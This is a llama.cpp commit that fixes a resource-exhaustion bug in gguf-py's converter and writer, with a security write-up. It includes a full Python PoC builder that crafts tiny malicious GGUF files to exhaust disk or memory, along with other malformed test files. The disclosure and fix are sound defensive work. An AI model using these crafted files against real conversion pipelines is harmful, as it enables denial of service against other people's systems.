Commit c8476ae54 for llama.cpp

commit c8476ae546d7274f3e954bddc2d59cd9b15a53e6
Author: Titania nastadeva <feddelg65@gmail.com>
Date:   Tue Dec 1 05:28:36 2026 +0700

    gguf-py : avoid alignment padding round-trip amplification (#33378)

    * gguf-py: stop write amplification in gguf-new-metadata / GGUFWriter padding

    **Summary**

    While auditing the `gguf` package, I found a write-amplification issue in the
    `gguf-new-metadata` converter. Two values taken from the input file itself — the
    declared `general.alignment` and the number of tensors — multiply together to
    determine the size of the output file, with no sanity check anywhere in the chain.
    A crafted GGUF that occupies **8 KiB on disk** makes the converter write a
    **68 MB** valid output file; scaling the same recipe produces a **553 MB** output;
    and at the maximum alignment the reader accepts, a **137-byte** input drives the
    writer into an allocation of ~2³¹ list elements (~17 GiB of address space) and
    crashes with `MemoryError`. This PR fixes both halves of the chain (see
    "Proposed fix" below).

    I am reporting this as a bug fix per the project's current security policy. I
    understand DoS issues are handled case-by-case; the mechanism, the amplification
    ratio, and the fact that this tool exists specifically to process model files
    supplied by other people are why I believe it is worth fixing rather than leaving
    as-is. The write-up below includes a working PoC, as the policy requests.


    **Changes in this PR**

    1. `gguf-py/gguf/gguf_writer.py` — `GGUFWriter.write_padding` now streams the
       zero padding in bounded 8 MiB chunks instead of materializing the whole gap
       as `bytes([0] * pad)` (whose intermediate list costs ~8 bytes of address
       space per pad byte). The number of padding bytes written is unchanged.
    2. `gguf-py/gguf/scripts/gguf_new_metadata.py` — before the declared
       `general.alignment` from the input file is copied into the writer, it is
       sanity-checked against the source file's effective size (the smaller of
       its logical size and its on-disk usage, so sparse files cannot slip past),
       and an implausible alignment is rejected with a clear `ValueError`.

    Verified after the fix: the q1c input (137 B, alignment 2^31) and the q1 input
    (alignment 2^20, 8 KiB on disk) are both rejected cleanly with no large
    allocation; a large-padding case and a benign round-trip both produce output
    byte-identical to the unpatched converter, and the outputs re-validate in
    `GGUFReader`.

    **Affected versions**

    - `gguf` 0.19.0 (PyPI) — all evidence below executed against this version.
    - `gguf` 0.18.0 — affected by code identity: `gguf/scripts/gguf_new_metadata.py`
      and `gguf/gguf_reader.py` are byte-identical between 0.18.0 and 0.19.0, and
      `GGUFWriter.write_padding` is character-identical (0.18.0 lines 398–401 vs
      0.19.0 lines 401–404). Earlier versions were not checked.

    **Root cause**

    Three links, none of which validates the product of the other two:

    1. *The reader trusts the declared layout parameters.* `GGUFReader`
       (`gguf/gguf_reader.py`) validates `general.alignment` only for type (UINT32)
       and form (non-zero power of two); any value up to 2³¹ is accepted. It also
       accepts tensor infos whose data offsets alias — many tensors may all point at
       offset 0 — and never checks that the file's tensor layout is actually spaced
       according to the alignment it declares. A file can therefore *declare* a huge
       alignment while physically containing almost no data.
    2. *The converter copies the declared alignment into the writer unchecked.*
       In `gguf/scripts/gguf_new_metadata.py` (lines 207–210):

       ```python
       alignment = get_field_data(reader, gguf.Keys.General.ALIGNMENT)
       if alignment is not None:
           writer.data_alignment = alignment
       ```

       The script then copies every tensor from the input into the writer.
    3. *The writer materializes every alignment gap, per tensor.*
       `GGUFWriter.write_tensor_data` calls `write_padding` after each tensor.
       `GGUFWriter.write_padding` (`gguf/gguf_writer.py`, lines 401–404):

       ```python
       def write_padding(self, fp: IO[bytes], n: int, align: int | None = None) -> None:
           pad = GGUFWriter.ggml_pad(n, align if align is not None else self.data_alignment) - n
           if pad != 0:
               fp.write(bytes([0] * pad))
       ```

       The intermediate list `[0] * pad` allocates roughly **8 bytes of address space
       per pad byte** (one pointer per element) before any byte reaches the disk.

    Total output size is therefore approximately `n_tensors × alignment`, where both
    factors are controlled by the input file and nothing caps their product. In the
    non-crashing regime the converter *succeeds* and produces a fully valid GGUF —
    just a gigantic one — so the disk exhaustion is silent.

    **Proof of concept**

    Test environment: Python 3.12.3, `gguf==0.19.0`, `numpy==2.5.5`, Linux. All
    inputs are files I crafted myself; no third-party model files are involved. The
    PoC builder script is included with this PR (see "PoC" below). It constructs
    GGUF files with a chosen `general.alignment`, a chosen number of ordinary
    F32 `[1]` tensors (value 1.5), and all tensor data offsets aliased to offset 0,
    written sparsely so the inputs occupy only 8 KiB on disk.

    | Case | Construction | Input size | Result of `gguf-new-metadata <in> <out>` |
    |---|---|---|---|
    | q1 | alignment 2²⁰, 64 aliased tensors | 1,048,580 B logical / 8,192 B on disk | exit 0; output exactly **68,157,440 B**, valid GGUF (re-opened with `GGUFReader`: 64 tensors, alignment preserved, all values round-trip to 1.5) |
    | q1b | alignment 2²⁴, 32 aliased tensors | 16,777,220 B logical / 8,192 B on disk | exit 0; output exactly **553,648,128 B** — output size tracks `n_tensors × alignment` |
    | q1c | alignment 2³¹, one zero-element tensor, no tensor data | **137 B** total | exit 1, `MemoryError` (traceback below) |

    SHA-256 (inputs / outputs): q1 input `dca9ec5ef54e4ac1a8f5b2018caecf0306669ef5f7bc3aed1c2ad4a7343aa77c`,
    q1 output `699d134a1587a3400e76df79bda3be220e4ae30019c65e81638a0c0e613f316f`;
    q1b input `32d56217fe02c4b620390a09de591b0ed3187396b333c1e85f44aebd99e953b9`,
    q1b output `2c7ba547e0632f588647e109006fe61570c3103c732e4a38a299f980e7640c10`;
    q1c input `c37e16cb7ad36a07c02dfb254a7fea0a62696d48a689392fcc30ced2d3a2984f`.
    All three runs were re-executed on 2026-11-30 and reproduced these measurements
    exactly (the q1c run was performed under a 4,500 MiB address-space cap for lab
    safety; the `MemoryError` is the expected outcome with or without the cap on any
    machine without ~17 GiB to spare).

    q1c traceback (verbatim, paths trimmed):

    ```
      File "gguf/scripts/gguf_new_metadata.py", line 212, in main
        copy_with_new_metadata(reader, writer, new_metadata, remove_metadata)
      File "gguf/scripts/gguf_new_metadata.py", line 97, in copy_with_new_metadata
        writer.write_tensor_data(tensor.data, tensor_endianess=reader.endianess)
      File "gguf/gguf_writer.py", line 432, in write_tensor_data
        self.write_padding(fout, fout.tell())
      File "gguf/gguf_writer.py", line 404, in write_padding
        fp.write(bytes([0] * pad))
    MemoryError
    ```

    Had the allocation succeeded, the writer would have gone on to write ~2 GiB of
    zero padding for the first tensor gap alone.

    **Impact (honestly bounded)**

    - Who is affected: anyone who runs `gguf-new-metadata` (or a downstream
      converter built on `GGUFWriter` that takes `data_alignment` from the input
      file) on a GGUF file obtained from someone else. Converting/re-packing models
      from public model hubs is the tool's normal, intended use.
    - What an attacker gains: a file of a few kilobytes — small enough to pass
      casual inspection and upload limits — that reliably exhausts the victim's
      disk (silent, valid output: q1/q1b regime) or memory (crash: q1c regime)
      when converted. On shared/CI machines this is a denial of service against
      the conversion pipeline; on a full disk it can cascade to other processes.
    - Bounds: each single padding gap is < 2³¹ bytes (alignment is a
      reader-validated UINT32 power of two); the **total** is
      `n_tensors × alignment`, and the tensor count is bounded only by what
      parses — effectively unbounded at file-crafting time. The bug requires the
      victim to run the converter; merely storing or reading the file with
      `GGUFReader` does not trigger it. No data is read, leaked, or executed.
    - Classification: CWE-400 (Uncontrolled Resource Consumption), with CWE-770
      for the `[0] * pad` intermediate list. For reference, my CVSS v3.1 estimate
      is **5.5 (Medium)** — `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`
      (availability only; no confidentiality or integrity impact). I include this
      only as a severity reference — per the project policy, whether this is
      treated as a vulnerability or as a regular bug fix is the maintainers' call.

    **Distinctness**

    Public reports against gguf-py to date cover four reader-side issues (an
    unbounded flat ARRAY `alen` loop at parse time; an unchecked `kv_count` crash;
    a zero-dimension shape spoof; an out-of-bounds `offset_tensor` crash). This
    issue differs from each in component (writer/converter, not reader), mechanism
    (the writer re-materializes the declared alignment once per tensor), and
    resource (output size / write-time allocation). To my knowledge it has not been
    publicly reported. (The same alignment-copy + writer pattern also appears in
    the editor GUI's save path, `gguf/scripts/gguf_editor_gui.py` ~line 1511,
    noted from code reading; the executed evidence above is for the CLI converter.)

    **PoC**

    The PoC builder script (`build_phase3.py`, with its GGUF-crafting helper
    `ggufbuild.py`) is reproduced in full in the collapsible section at the end
    of this description. It builds the three inputs above from scratch — no
    pre-built binary model files are needed.

    **Testing ethics**

    All testing was local, on files I created, against a library installed in my
    own virtual environment. No third-party systems or files were involved. This
    report was written by me as the reporter, with AI assistance during the audit.

    Reported by Titania Nastadeva (GitHub: deva1999).

    ## Requirements

    - I have read and agree with the [contributing guidelines](https://github.com/ggml-org/llama.cpp/blob/master/CONTRIBUTING.md)
    - AI usage disclosure: yes — an AI assistant was used during the audit and to help draft this report; all findings were reproduced by executed tests, and I reviewed and take responsibility for the submitted changes.

    <details>
    <summary>PoC builder script (build_phase3.py + ggufbuild.py)</summary>

    `build_phase3.py`:

    ```python
    """Phase 3 PoC builders: secondary-consumer targets (gguf-new-metadata / gguf-dump /
    gguf-set-metadata / gguf-convert-endian) fed by reader-accepted crafted files."""
    import os
    import struct
    import sys

    sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
    from ggufbuild import (  # noqa: E402
        UINT8, UINT32, FLOAT32, STRING, ARRAY, F32,
        gstr, header, kv_scalar, kv_string, kv_u32, kv_array, tensor_info, pad_to, u64, f32,
    )

    OUT = os.path.dirname(os.path.abspath(__file__))


    def w(name, data):
        p = os.path.join(OUT, name)
        with open(p, 'wb') as fh:
            fh.write(data)
        print(f"{name}: {len(data)} bytes")
        return p


    def w_sparse(name, prefix, data_offs, tail):
        """Write prefix, then `tail` at absolute offset data_offs (sparse gap between)."""
        p = os.path.join(OUT, name)
        with open(p, 'wb') as fh:
            fh.write(prefix)
            fh.seek(data_offs)
            fh.write(tail)
        print(f"{name}: logical {data_offs + len(tail)} bytes (sparse)")
        return p


    # ---------------------------------------------------------------- q1: amplification
    # general.alignment = 2^20, 64 aliased F32[1] tensors all at offset 0.
    def build_q1(name, alignment, n_tensors):
        kv = kv_string('general.architecture', 'amplif')
        kv += kv_u32('general.alignment', alignment)
        infos = b''
        for i in range(n_tensors):
            infos += tensor_info(f't{i}', [1], F32, 0)
        prefix = header(n_tensors, 2) + kv + infos
        data_offs = (len(prefix) + alignment - 1) // alignment * alignment
        return w_sparse(name, prefix, data_offs, f32(1.5))


    build_q1('q1_amplif.gguf', 2**20, 64)          # expect ~64 MiB output from new-metadata
    build_q1('q1b_amplif_big.gguf', 2**24, 32)     # expect ~512 MiB output

    # ------------------------------------------------------- q1c: alignment = 2^31, one
    # zero-element tensor (reader accepts: 0 elements need no data at data_offset).
    kv = kv_string('general.architecture', 'amplif')
    kv += kv_u32('general.alignment', 2**31)
    infos = tensor_info('tz', [0], F32, 0)
    w('q1c_align_max.gguf', header(1, 2) + kv + infos)

    # ------------------------------------------------- q2/q3/q4: architecture type confusion
    w('q2_arch_u32.gguf',
      header(0, 2) + kv_scalar('general.architecture', UINT32, struct.pack('<I', 7))
      + kv_string('general.name', 'victim'))
    arr = gstr('x')
    w('q3_arch_array.gguf',
      header(0, 1) + kv_array('general.architecture', STRING, arr, 1))
    w('q4_arch_badutf8.gguf',
      header(0, 1) + kv_scalar('general.architecture', STRING, u64(2) + b'\xff\xfe'))

    # ------------------------------------------------- q5: tokenizer tokens type confusion
    w('q5_tokens_string.gguf',
      header(0, 2) + kv_string('general.architecture', 'tokarch')
      + kv_string('tokenizer.ggml.tokens', 'abc'))
    elems = bytes([97, 98, 99])
    w('q5b_tokens_u8.gguf',
      header(0, 2) + kv_string('general.architecture', 'tokarch')
      + kv_array('tokenizer.ggml.tokens', UINT8, elems, 3))

    # ------------------------------------------------- q6: legit large vocab (control)
    toks = b''.join(gstr(f'tok{i}') for i in range(50000))
    scores = b''.join(struct.pack('<f', -0.001 * i) for i in range(50000))
    merges = b''.join(gstr(f'tok{i} tok{i + 1}') for i in range(1000))
    kv = kv_string('general.architecture', 'bigvocab')
    kv += kv_array('tokenizer.ggml.tokens', STRING, toks, 50000)
    kv += kv_array('tokenizer.ggml.token_scores', FLOAT32, scores, 50000)
    kv += kv_array('tokenizer.ggml.merges', STRING, merges, 1000)
    w('q6_vocab_big.gguf', header(0, 4) + kv)

    # ------------------------------------------------- q7: truncated UINT32 scalar at EOF
    w('q7_setmeta_trunc.gguf',
      header(0, 2) + kv_string('general.architecture', 'truncarch')
      + gstr('custom.value') + struct.pack('<I', UINT32))  # type word, zero value bytes

    # ------------------------------------------------- q9: STRING array, clipped last element
    elems = gstr('aa') + gstr('bb') + u64(50) + b'cc'  # 3rd declares 50, only 2 present
    w('q9_md_strarray_clip.gguf',
      header(0, 2) + kv_string('general.architecture', 'cliparch')
      + kv_array('tokenizer.ggml.tokens', STRING, elems, 3))

    print('done')
    ```

    `ggufbuild.py`:

    ```python
    """Hand-rolled GGUF byte builders for Phase 2 PoCs (LE and BE variants)."""
    import struct

    # GGUFValueType
    UINT8, INT8, UINT16, INT16, UINT32, INT32, FLOAT32, BOOL, STRING, ARRAY, UINT64, INT64, FLOAT64 = range(13)
    # GGMLQuantizationType
    F32, F16, Q4_0 = 0, 1, 2


    def _e(endian):
        return '<' if endian == 'le' else '>'


    def u32(v, e='le'):
        return struct.pack(_e(e) + 'I', v)


    def u64(v, e='le'):
        return struct.pack(_e(e) + 'Q', v)


    def f32(v, e='le'):
        return struct.pack(_e(e) + 'f', v)


    def gstr(s, e='le'):
        b = s if isinstance(s, bytes) else s.encode()
        return u64(len(b), e) + b


    def header(tensor_count, kv_count, e='le', version=3):
        # magic is the 4 ASCII bytes regardless of endianness
        return b'GGUF' + u32(version, e) + u64(tensor_count, e) + u64(kv_count, e)


    def kv_scalar(key, vtype, raw_value_bytes, e='le'):
        return gstr(key, e) + u32(vtype, e) + raw_value_bytes


    def kv_string(key, s, e='le'):
        return kv_scalar(key, STRING, gstr(s, e), e)


    def kv_u32(key, v, e='le'):
        return kv_scalar(key, UINT32, u32(v, e), e)


    def kv_array(key, itype, elements_bytes, count, e='le'):
        return gstr(key, e) + u32(ARRAY, e) + u32(itype, e) + u64(count, e) + elements_bytes


    def tensor_info(name, dims, dtype, offset, e='le', n_dims_override=None):
        nd = len(dims) if n_dims_override is None else n_dims_override
        out = gstr(name, e) + u32(nd, e)
        for d in dims:
            out += u64(d, e)
        out += u32(dtype, e) + u64(offset, e)
        return out


    def pad_to(buf, alignment):
        while len(buf) % alignment != 0:
            buf += b'\x00'
        return buf
    ```

    </details>

    * gguf-py: move alignment validation into GGUFReader per review

    Per @CISC's review: the declared-alignment sanity check does not belong in
    gguf_new_metadata. It now lives in GGUFReader, right after the existing
    power-of-two validation, so every reader consumer is covered. The check
    rejects a declared alignment larger than the source file's effective size
    (the smaller of its logical size and its on-disk usage, so sparse files
    cannot slip past). The converter-side check is removed (file back to
    upstream). The write_padding streaming change is unchanged.

    Re-tested: q1c (137 B, alignment 2^31), q1 and q1b (sparse) are now
    rejected at reader construction with a clear ValueError and no large
    allocation; a benign file and a large-padding non-sparse file convert
    byte-identically to the unpatched converter.

    * gguf-py: simplify the reader alignment check per review

    Per @CISC's review: use self.data.nbytes for the file size instead of
    stat-ing the path, remove the comment, and keep the raise on a single
    line. The check is now two lines in GGUFReader.

    Re-tested: the 137-byte alignment 2^31 file is rejected at reader
    construction; the sparse large-alignment cases now convert without
    crashing at ~44 MB peak RSS thanks to the streaming write_padding;
    benign and large-padding outputs remain byte-identical.

    * gguf-py: address review feedback

    Restore the executable bit on gguf_new_metadata.py (content unchanged).
    In write_padding: drop the comment, simplify the chunk selection, and
    shrink the zero buffer to 8 KiB.

diff --git a/gguf-py/gguf/gguf_reader.py b/gguf-py/gguf/gguf_reader.py
index b059a2e8f..080204def 100644
--- a/gguf-py/gguf/gguf_reader.py
+++ b/gguf-py/gguf/gguf_reader.py
@@ -187,6 +187,8 @@ class GGUFReader:
             # Ensure alignment is a non-zero power of two
             if self.alignment == 0 or (self.alignment & (self.alignment - 1)) != 0:
                 raise ValueError('Invalid alignment: must be a non-zero power of two')
+            if self.alignment > self.data.nbytes:
+                raise ValueError(f'Declared general.alignment ({self.alignment}) exceeds the size of the input file ({self.data.nbytes} bytes)')
         padding = offs % self.alignment
         if padding != 0:
             offs += int(self.alignment - padding)
diff --git a/gguf-py/gguf/gguf_writer.py b/gguf-py/gguf/gguf_writer.py
index 887352b26..0efdacc72 100644
--- a/gguf-py/gguf/gguf_writer.py
+++ b/gguf-py/gguf/gguf_writer.py
@@ -412,7 +412,11 @@ class GGUFWriter:
     def write_padding(self, fp: IO[bytes], n: int, align: int | None = None) -> None:
         pad = GGUFWriter.ggml_pad(n, align if align is not None else self.data_alignment) - n
         if pad != 0:
-            fp.write(bytes([0] * pad))
+            zeros = bytes(8 * 1024)
+            while pad > 0:
+                chunk = zeros[:pad]
+                fp.write(chunk)
+                pad -= len(chunk)

     def write_tensor_data(self, tensor: np.ndarray[Any, Any], tensor_endianess: GGUFEndian | None = None) -> None:
         if self.state is not WriterState.TI_DATA and self.state is not WriterState.WEIGHTS: